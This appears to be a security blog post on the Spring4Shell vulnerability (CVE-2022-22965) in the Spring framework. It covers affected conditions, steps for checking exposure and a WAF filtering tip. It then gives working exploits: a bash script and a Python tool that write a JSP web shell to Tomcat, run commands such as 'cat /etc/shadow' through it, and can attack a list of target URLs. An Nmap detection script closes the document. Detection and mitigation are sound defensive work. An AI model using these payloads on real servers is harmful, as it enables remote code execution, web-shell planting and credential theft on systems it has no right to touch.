Vulnerability Details and Investigation
As one of the world’s most popular Java lightweight open-source framework, Spring allows developers to focus on business logic and simplifies the development cycle of Java enterprise applications.
Exploitation requires an endpoint with DataBinder enabled (e.g. a POST request that decodes data from the request body automatically) and depends heavily on the servlet container for the application. For example, when Spring is deployed to Apache Tomcat, the WebAppClassLoader is accessible, which allows an attacker to call getters and setters to ultimately write a malicious JSP file to disk. However, if Spring is deployed using the Embedded Tomcat Servlet Container the classloader is a LaunchedURLClassLoader which has limited access.
However, in the JDK9 version (and above) of the Spring framework, a remote attacker can obtain the AccessLogValve object and malicious field values through the parameter binding function of the framework on the basis of meeting certain conditions, thereby triggering the pipeline mechanism and writing arbitrary fields. file in the path.
- It is currently known that triggering this vulnerability requires two basic conditions:
- Use the Spring MVC framework & JDK9 and above
(1). Check the JDK version number
On the running server of the organization system, run the “java -version” command to check the running JDK version. If the version number is less than or equal to 8, it is not affected by the vulnerability.
(2). Check for Spring framework usage
1. If the organization system project is deployed in the form of a war package, follow the steps below to judge.
- Unzip the war package: Change the suffix of the war file to .zip and unzip the zip file
- Search for a jar file in spring-beans-*.jar format (for example, spring-beans-5.3.16.jar) in the decompression directory. If it exists, it means that the business system is developed using the spring framework.
- If the spring-beans-*.jar file does not exist, search for the existence of the CachedIntrospectionResuLts.class file in the decompression directory. If it exists, it means that the business system is developed using the Spring framework.
2. If the organization system project runs directly and independently in the form of a jar package, judge according to the following steps.
- Unzip the jar package: Change the suffix of the jar file to .zip, and unzip the zip file.
- Search for a jar file in spring-beans-*.jar format (for example, spring-beans-5.3.16.jar) in the decompression directory. If it exists, it means that the business system is developed using the spring framework.
- If the spring-beans-*.jar file does not exist, search for the existence of the CachedIntrospectionResuLts.class file in the decompression directory. If it exists, it means that the business system is developed using the spring framework.
(3) Comprehensive Investigation
After completing the above two steps of troubleshooting, the following two conditions are met at the same time to determine that it is affected by this vulnerability:
- JDK version number is 9 and above;
- using the spring framework or derived framework.
WAF protection
On network protection devices such as WAF, implement rule filtering for strings such as “class.*”, “Class.*”, “*.class.*”, and “*.Class.*” according to the actual traffic situation of deployed services. After filtering the rules, test the business operation to avoid additional impact.
Spring4Shell Vulnerability Scanner
Exploit:-
1.bash
#!/usr/bin/env bash
echo "[+] Starting Tomcat 9.0 server with Spring Boot application vulnerable to Spring4Shell..."
docker-compose up -d
echo "[+] Waiting 10 seconds for server to start..."
sleep 10
echo "[SERVER][+] webapps/ROOT dir before exploit"
docker-compose exec app ls webapps/ROOT
echo
echo "[+] Exploiting Spring4Shell vulnerability in server: http://localhost:8080/helloworld/greeting"
curl -H "prefix:<%" -H "suffix:%>//" -H "c:Runtime" -H "Content-Type: application/x-www-form-urlencoded" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/helloworld/greeting
echo
echo
echo "[SERVER][+] webapps/ROOT dir after exploit, should include shell.jsp"
docker-compose exec app ls webapps/ROOT
echo
echo "[+] Shell is now accessible at: http://localhost:8080/shell.jsp?cmd=<cmd>"
echo "[+] Waiting 10 seconds..."
sleep 10
echo "[+] Running command: http://localhost:8080/shell.jsp?cmd=id"
curl --output - http://localhost:8080/shell.jsp?cmd=id
echo
echo "[+] Running command: http://localhost:8080/shell.jsp?cmd=cat /etc/shadow"
curl --output - "http://localhost:8080/shell.jsp?cmd=cat%20/etc/shadow"
echo
echo "[+] Running command: http://localhost:8080/shell.jsp?cmd=cat /flag"
curl --output - "http://localhost:8080/shell.jsp?cmd=cat%20/flag"
echo
docker-compose kill && docker-compose rm -f
2.python
#coding:utf-8
import requests
import argparse
from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
def main():
parser = argparse.ArgumentParser(description='Srping-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)
if __name__ == '__main__':
main()
1. spring4shell-scan
A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities
Link:- https://github.com/fullhunt/spring4shell-scan
2. Nmap Script
CVE-2022-22965.nse
description = [[
Spring Framework 5.2.x / 5.3.x CVE-2022-22965 Remote Code Execution Vulnerability
This script looks the existence of CVE-2022-22965 Spring Framework 5.2.x / 5.3.x RCE
uses a payload "/?class.module.classLoader.definedPackages%5B0%5D=0" through a GET request
looking (400) code as response (NON INTRUSIVE)
Inspired by:
@Twitter thread
The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE. An HTTP 400 return code indicates vulnerability.$ curl host:port/path?class.module.classLoader.URLs%5B0%5D=0#SpringShell #Spring4Shell #infosec— Randori Attack Team (@RandoriAttack) March 30, 2022
@ZAP Scan Rule
https://www.zaproxy.org/blog/2022-04-04-spring4shell-detection-with-zap/
Manual inspection:
# curl -i -s -k -X $'GET'
-H $'Host: <target>'
-H $'User-Agent: alex666'
-H $'Connection: close'
$'https://<target>/path/foo/?class.module.classLoader.URLs%5B0%5D=0' | grep -i 400
# curl -i -s -k -X $'GET'
-H $'Host: <target>'
-H $'User-Agent: alex666'
-H $'Connection: close'
$'https://<target>/path/foo/?class.module.classLoader.definedPackages%5B0%5D=0' | grep -i 400
References:
https://github.com/alt3kx/CVE-2022-22965
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities
https://github.com/BobTheShoplifter/Spring4Shell-POC
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework
]]
---
-- @usage
-- nmap -p <port> --script=./CVE-2022-22965.nse [--script-args 'CVE-2022-22965.path=<PATH>,CVE-2022-22965.method=<HTTP METHOD>'] <target>
-- @args CVE-2022-22965.path URI path to test; must be a valid path that accepts one or more parameters using data binding (default: <code>/</code>).
-- @args CVE-2022-22965.method HTTP request method to use (default: <code>GET</code>).
--
-- @examples:
-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> -Pn
-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> --script-args 'CVE-2022-22965.path="/path/to/test"' -Pn
-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> --script-args 'CVE-2022-22965.path="/path/to/test",CVE-2022-22965.method=POST' -Pn
-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> --script-args=CVE-2022-22965.path="/path/foo/download/" -Pn --script-trace | more
-- nmap -p443,8080 --script=./CVE-2022-22965.nse --script-args=CVE-2022-22965.path="/examples/" -Pn -iL targets.txt
--
-- @output
-- PORT STATE SERVICE
-- 443/tcp open https
-- | CVE-2022-22965:
-- | VULNERABLE:
-- | Spring Framework 5.2.x 5.3.x RCE
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2022-22965
-- | Within Spring Core, A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable
-- | to remote code execution (RCE) via data binding.
-- | Disclosure date: 2022-03-31
-- | References:
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
author = "Alex Hernandez aka alt3kx <alt3kx@protonmail.com>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "exploit"}
local shortport = require "shortport"
local http = require "http"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
portrule = shortport.http
local S4S1 = "Tomcat"
local S4S2 = "springframework"
local S4S3 = "Tomcat"
local S4S4 = "Tomcat"
--Payloads:
--GET checker path2 = "/?class.module.classLoader.DefaultAssertionStatus=nosense"
--GET checker path1 = "/?class.module.classLoader.URLs%5B0%5D=0"
local S4S_PAYLOAD = "class.module.classLoader.definedPackages%5B0%5D=0"
action = function(host, port)
local vuln = {
title = "Spring Framework 5.2.x 5.3.x RCE",
state = vulns.STATE.NOT_VULN,
IDS = { CVE = 'CVE-2022-22965' },
description = [[
Within Spring Core, A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable
to remote code execution (RCE) via data binding.]],
references = {
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965'
},
dates = {
disclosure = {year = '2022', month = '03', day = '31'},
},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local method = string.upper(stdnse.get_script_args("CVE-2022-22965.method") or "GET")
local path = stdnse.get_script_args("CVE-2022-22965.path") or "/"
local options = {header={["Content-Type"]="application/x-www-form-urlencoded"}}
if method == "GET" then
path = path .. "?" .. S4S_PAYLOAD
else
options["content"] = S4S_PAYLOAD
end
local response = http.generic_request(host, port, method, path, options)
if response.status and response.body then
if response.status == 400 and string.find(response.body, S4S1) ~= nil then
stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 400")
vuln.state = vulns.STATE.EXPLOIT
end
--500 Internal Server Error , Spring Framework 5.2.x / 5.3.x Exceptions
if response.status == 500 and string.find(response.body, S4S2) ~= nil then
stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 500")
vuln.state = vulns.STATE.EXPLOIT
end
if response.status == 200 and string.find(response.body, S4S3) ~= nil then
stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 200")
vuln.state = vulns.STATE.NOT_VULN
end
if response.status == 404 and string.find(response.body, S4S4) ~= nil then
stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 404")
vuln.state = vulns.STATE.NOT_VULN
end
else
stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned unknow response.")
vuln.state = vulns.STATE.UNKNOWN
end
return report:make_output (vuln)
end